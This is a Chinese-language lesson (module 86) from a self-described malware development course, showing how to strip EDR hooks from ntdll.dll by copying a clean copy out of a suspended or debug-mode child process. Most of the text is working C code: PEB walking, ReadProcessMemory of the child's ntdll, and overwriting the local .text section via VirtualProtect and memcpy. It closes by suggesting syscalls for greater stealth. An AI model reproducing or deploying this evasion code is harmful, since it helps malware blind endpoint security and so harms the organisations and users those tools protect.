模块 86 - NTDLL 取消挂钩 (Unhooking) - 来自挂起进程
恶意软件开发课程 - NTDLL 取消挂钩 (Unhooking) - 来自挂起进程
模块 86 - NTDLL 取消挂钩 (Unhooking) - 来自挂起进程#
NTDLL 取消挂钩 (Unhooking) - 来自挂起进程#
简介#
另一种获取干净 ntdll.dll 的方法是从挂起 (Suspended) 状态的进程中读取。这种方法之所以有效,是因为 EDR 通常需要进程开始运行后才能注入代码并挂钩 API。如果一个进程是在挂起状态下创建的,它通常包含一个干净的 ntdll.dll 映像。我们可以利用这一点,将挂起进程中的干净 .text 节内容读取出来,替换掉并不是当前进程中被挂钩的 .text 节。
💡 初学者提示:为什么是挂起进程?
类比理解: 想象
ntdll.dll是人体的DNA,而 EDR 的挂钩 (Hooks) 就像是后天感染的病毒。
- 当前运行的进程:像是一个在充满病毒环境(操作系统)中生活了很久的成年人,他的 DNA(NTDLL)已经被病毒(EDR 挂钩)修改了。
- 挂起的进程:就像是一个刚出生的婴儿(或者还在胚胎状态)。虽然他已经有了 DNA,但他还没有开始呼吸外面的空气,还没有接触到病毒环境。因此,他的 DNA 是最原始、最纯净的。
我们要做就是从这个“婴儿”身上提取干净的 DNA,来修复我们自己受损的 DNA。
在典型的进程启动过程中,Windows 加载器会先加载可执行文件映像(例如 notepad.exe),然后映射 ntdll.dll,接着是该进程所有的 DLL 依赖项。然而,如果以挂起状态创建进程,通常只有 ntdll.dll 被映射。如果我们以调试模式创建进程,通过 Process Hacker 可以观察到这一点,如下图所示。

获取所需信息#
要从远程进程中检索 ntdll.dll,我们需要确定 NTDLL 被映射到的基址。这个过程比看起来要简单,我们在之前的 远程函数修改注入 (Remote Function Stomping Injection) 模块中已经做过类似的事情。由于 Windows 的机制,系统 DLL(如 ntdll.dll)在所有进程中的加载基址通常是相同的(ASLR 在单次启动期间对系统 DLL 是全局生效的)。
这意味着:本地 ntdll.dll 的基址 = 远程 ntdll.dll 的基址。
下图展示了在 3 个不同的进程中查看 NTDLL 的情况,可以看到基址是相同的。

因此,当任何进程(包括子进程)以挂起状态创建时,我们不仅知道它已经加载了 ntdll.dll,甚至直接知道它的基址。但是,我们不知道它的大小,这需要通过解析本地 ntdll.dll 映像的 PE 头并访问 OptionalHeader.SizeOfImage 元素来计算。
为此,我们要创建一个辅助函数 GetNtdllSizeFromBaseAddress,它接收一个参数 pNtdllModule(即 ntdll.dll 的基址)并返回其大小。
pNtdllModule 参数可以通过 FetchLocalNtdllBaseAddress 函数提供,该函数在以前的 NTDLL 取消挂钩模块中使用过。
计算 NTDLL 大小#
// 获取指定模块基址的镜像大小
SIZE_T GetNtdllSizeFromBaseAddress(IN PBYTE pNtdllModule) {
// 1. 获取 DOS 头
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
// 2. 获取 NT 头
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
// 3. 返回 SizeOfImage
return pImgNtHdrs->OptionalHeader.SizeOfImage;
}c获取本地 NTDLL 基址#
// 从 PEB 获取本地 ntdll.dll 的基址
PVOID FetchLocalNtdllBaseAddress() {
#ifdef _WIN64
PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32
PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif // _WIN64
// 直接获取 'ntdll.dll' 模块 (我们知道它是加载顺序链表中的第 2 个,排在 .exe 之后)
// 0x10 是 sizeof(LIST_ENTRY)
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
return pLdr->DllBase;
}c创建挂起进程#
我们在课程中已经多次通过 CreateProcessA 使用 CREATE_SUSPENDED 或 DEBUG_PROCESS 标志来创建进程。在下面的代码中,我们将使用 DEBUG_PROCESS 标志。
进程创建后,使用 ReadProcessMemory 读取其 ntdll.dll 映像。读取完成后,使用 DebugActiveProcessStop ↗ WinAPI 分离调试器,然后使用 TerminateProcess ↗ WinAPI 终止该进程。注意,如果不先分离,进程可能无法正常终止。
如果是使用的 CREATE_SUSPENDED 标志,则应使用 ResumeThread 来恢复(通常也是为了清理/终止它)。
上述逻辑在下面的 ReadNtdllFromASuspendedProcess 函数中以编程方式实现。
// 从挂起的进程中读取 ntdll.dll
BOOL ReadNtdllFromASuspendedProcess(IN LPCSTR lpProcessName, OUT PVOID* ppNtdllBuf) {
CHAR cWinPath[MAX_PATH / 2] = { 0 };
CHAR cProcessPath[MAX_PATH] = { 0 };
PVOID pNtdllModule = FetchLocalNtdllBaseAddress(); // 本地基址 = 远程基址
PBYTE pNtdllBuffer = NULL;
SIZE_T sNtdllSize = NULL,
sNumberOfBytesRead = NULL;
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
// 清理结构体 (将成员置为 0)
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// 设置结构体大小
Si.cb = sizeof(STARTUPINFO);
// 获取 Windows 目录 (例如 C:\Windows)
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());
goto _EndOfFunc;
}
// 拼接目标进程路径,例如 C:\Windows\System32\notepad.exe
// 'sprintf_s' 比 'sprintf' 更安全
sprintf_s(cProcessPath, sizeof(cProcessPath), "%s\\System32\\%s", cWinPath, lpProcessName);
// 以 DEBUG_PROCESS 标志创建进程 (作为 CREATE_SUSPENDED 的替代/变种)
if (!CreateProcessA(
NULL,
cProcessPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS, // 使用调试模式挂起
NULL,
NULL,
&Si,
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
goto _EndOfFunc;
}
// 1. 获取要读取的大小
sNtdllSize = GetNtdllSizeFromBaseAddress((PBYTE)pNtdllModule);
if (!sNtdllSize)
goto _EndOfFunc;
// 2. 分配本地缓冲区
pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sNtdllSize);
if (!pNtdllBuffer)
goto _EndOfFunc;
// 3. 读取远程进程的 ntdll.dll
if (!ReadProcessMemory(Pi.hProcess, pNtdllModule, pNtdllBuffer, sNtdllSize, &sNumberOfBytesRead) || sNumberOfBytesRead != sNtdllSize) {
printf("[!] ReadProcessMemory Failed with Error : %d \n", GetLastError());
printf("[i] Read %d of %d Bytes \n", sNumberOfBytesRead, sNtdllSize);
goto _EndOfFunc;
}
*ppNtdllBuf = pNtdllBuffer;
// 终止辅助进程
if (DebugActiveProcessStop(Pi.dwProcessId) && TerminateProcess(Pi.hProcess, 0)) {
// 进程终止成功
}
_EndOfFunc:
if (Pi.hProcess)
CloseHandle(Pi.hProcess);
if (Pi.hThread)
CloseHandle(Pi.hThread);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}c整合代码#
一旦成功获取了干净的 ntdll.dll 副本,下一步就是通过 ReplaceNtdllTxtSection 函数用干净的副本覆盖被挂钩的文本节 (.text)。
📚 知识扩展:内存对齐的一致性
请注意,这次我们获取干净 NTDLL 的来源是另一个进程的内存空间。
- 在 Module 84 (从磁盘) 中,我们从磁盘读取文件,偏移是原始文件偏移 (通常 1024 / 0x400)。
- 在 Module 85 (KnownDlls) 和本模块 (挂起进程) 中,我们是从内存映射中读取的。
这意味着 NTDLL 已经在内存中展开了,节的对齐方式是 Virtual Alignment (虚拟内存扩展),而不是 Disk Alignment。因此,干净副本中
.text节的偏移量应该使用IMAGE_SECTION_HEADER.VirtualAddress(通常是 4096 / 0x1000),而不是PointerToRawData。这就是为什么下面的代码不需要像 Module 84 那样特殊的对齐转换逻辑。
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
// 获取本地这 DOS 头
PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
// 获取本地 NT 头
PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
PVOID pLocalNtdllTxt = NULL, // 本地被挂钩的 .text 节基址
pRemoteNtdllTxt = NULL; // 干净的 .text 节基址 (来自挂起进程副本)
SIZE_T sNtdllTxtSize = NULL; // .text 节大小
// 获取第一个节头
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
// 检查节名是否为 ".text"
// (使用位掩码技巧忽略大小写,'xet.' 是 ".text" 的反向小端表示)
if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
// 注意:这里直接使用 VirtualAddress,因为 pUnhookedNtdll 也是来自内存映射
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
//---------------------------------------------------------------------------------------------------------------------------
// 简单的检查,确保获取了所有信息
if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
return FALSE;
// 再次检查内容是否一致 (头几个字节通常应该相同,如果不相同可能是出了大问题)
// 这一步不是必须的,但在调试时很有用
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
//---------------------------------------------------------------------------------------------------------------------------
DWORD dwOldProtection = NULL;
// 1. 修改内存权限为可写 (PAGE_EXECUTE_WRITECOPY)
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 2. 覆盖 .text 节 (执行替换)
memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
// 3. 恢复原始内存权限
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}c改进实现#
目前的实现使用的是标准 WinAPI 来取消 ntdll.dll 挂钩。为了实现更隐蔽的操作,应该使用 Direct Syscalls (直接系统调用) 或 Indirect Syscalls (间接系统调用) 来执行取消挂钩的操作(例如 NtReadVirtualMemory 替代 ReadProcessMemory,NtProtectVirtualMemory 替代 VirtualProtect)。这留给读者作为练习。
演示#
- 一个 PID 为
6412的挂起子进程。

- 待替换的被挂钩
ntdll.dll文本节。

- 未挂钩的
ntdll.dll文本节基址(从挂起进程获取)。

- 成功替换文本节。
